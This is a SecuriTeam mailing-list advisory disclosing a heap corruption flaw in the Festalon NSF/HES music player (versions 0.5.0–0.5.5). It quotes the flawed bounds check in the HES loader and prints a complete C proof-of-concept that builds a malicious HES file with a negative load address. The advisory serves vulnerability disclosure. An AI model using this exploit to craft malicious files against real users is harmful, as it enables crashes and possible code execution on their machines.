[NEWS] Festalon Heap Corruption

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Festalon Heap Corruption
------------------------------------------------------------------------


SUMMARY

 <http://projects.raphnet.net/#festalon> Festalon is "a player 
(stand-alone and plugin) for the Nintendo .nsf music files". A heap 
corruption vulnerability in Festalon allows attackers to cause the program 
to fail and possibly execute arbitrary code.

DETAILS

Vulnerable Systems:
 * Festalon version 0.5.5 and prior
 * Festalon version 0.5.0 and above

HES is a file format for ripped TG16/PC Engine music which has been added 
from version 0.5.0. FESTALON_HES is a structure of 1501888 bytes used to 
contain the file in memory. The program uses an anti-overflow check for 
avoiding input data major than the rom size of 0x100000 bytes. Anyway the 
check is made on the sum of LoadAddr (used as an offset of the destination 
rom buffer) and LoadSize (amount of data to copy) so an attacker can use a 
negative LoadAddr value for overwriting the memory antecedent the one 
allocated.

The exploitation (Luigi is not sure if code execution is really possible 
although the effects seem similar to a heap overflow) occurs when the 
program terminates and free() is called.

> From pce/hes.c:
FESTALON_HES *FESTAHES_Load(FESTALON *fe, uint8 *buf, uint32 size)
{
 FESTALON_HES *hes;
 uint32 LoadAddr,LoadSize;
 uint16 InitAddr;
 uint8 *tmp;
 int x;

 fe->TotalChannels = 6;
 fe->OutChannels = 2;

 hes = FESTA_malloc(16, sizeof(FESTALON_HES));
 hes->h6280 = malloc(sizeof(h6280_Regs));

 InitAddr = De16(&buf[0x6]);

 tmp = &buf[0x10];

 while(tmp < (buf + size - 0x10))
 {
  LoadSize = De32(&tmp[0x4]);
  LoadAddr = De32(&tmp[0x8]);
  //printf("%08x:%08x\n",LoadSize,LoadAddr);
  tmp += 0x10;
  if(tmp >= (buf + size + LoadSize)) break;

  if((LoadAddr + LoadSize) > 0x100000) break;
  memcpy(hes->rom + LoadAddr,tmp,LoadSize);
  tmp += LoadSize;
 }
 ...

Exploit:
/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/festahc.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>



#define VER                 "0.1"
#define FESTALON_HES_LIMIT  0x100000
#define FESTALON_HES_SIZE   1501888
#define UNDERSIZE           32      // maximum amount of data before 
allocation
#define FESTALON_HES_FRONT  (0x2000 + 0x8000 + UNDERSIZE)
#define HEAPOVERSZ          (FESTALON_HES_FRONT + FESTALON_HES_LIMIT)



void fwbof(FILE *fd, int len, int chr);
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    char    *fname;

    setbuf(stdout, NULL);

    fputs("\n"
        "Festalon 0.5.0-0.5.5 heap corruption "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output_file.NSF>\n"
            "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();

    fwmem(fd, "HESM", 4);           // MAGIC-ID 'HESM'
    fwi08(fd, 0);                   // VERSION(0)
    fwi08(fd, 0);                   // START SONG
    fwi16(fd, 0);                   // REQUEST ADDRESS(LOGICAL ADDRESS)
    fwi08(fd, 0xff);                // INITIAL MPR0($FF)
    fwi08(fd, 0xf8);                // INITIAL MPR1($F8)
    fwi08(fd, 0);                   // INITIAL MPR2
    fwi08(fd, 0);                   // INITIAL MPR3
    fwi08(fd, 0);                   // INITIAL MPR4
    fwi08(fd, 0);                   // INITIAL MPR5
    fwi08(fd, 0);                   // INITIAL MPR6
    fwi08(fd, 0x00);                // INITIAL MPR7($00)

    fwmem(fd, "DATA", 4);           // SUB-ID 'DATA'
    fwi32(fd, HEAPOVERSZ);          // DATA SIZE
    fwi32(fd, -FESTALON_HES_FRONT); // LOAD ADDRESS(PHYSICAL ADDRESS)
    fwi32(fd, 0);                   // RESERVE(0)
    fwbof(fd, HEAPOVERSZ, 'a');     // DATA

    printf(
        "- this PoC forces the program to overwrite the %d bytes before 
the starting\n"
        "  of the hes allocated memory\n", UNDERSIZE);

    fclose(fd);
    printf("- finished\n");
    return(0);
}



void fwbof(FILE *fd, int len, int chr) {
    while(len--) fputc(chr, fd);
}



void fwi08(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
}



void fwi16(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
}



void fwi32(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
    fputc((num >> 16) & 0xff, fd);
    fputc((num >> 24) & 0xff, fd);
}



void fwmem(FILE *fd, uint8_t *data, int size) {
    fwrite(data, size, 1, fd);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/festahc-adv.txt> 
http://aluigi.altervista.org/adv/festahc-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.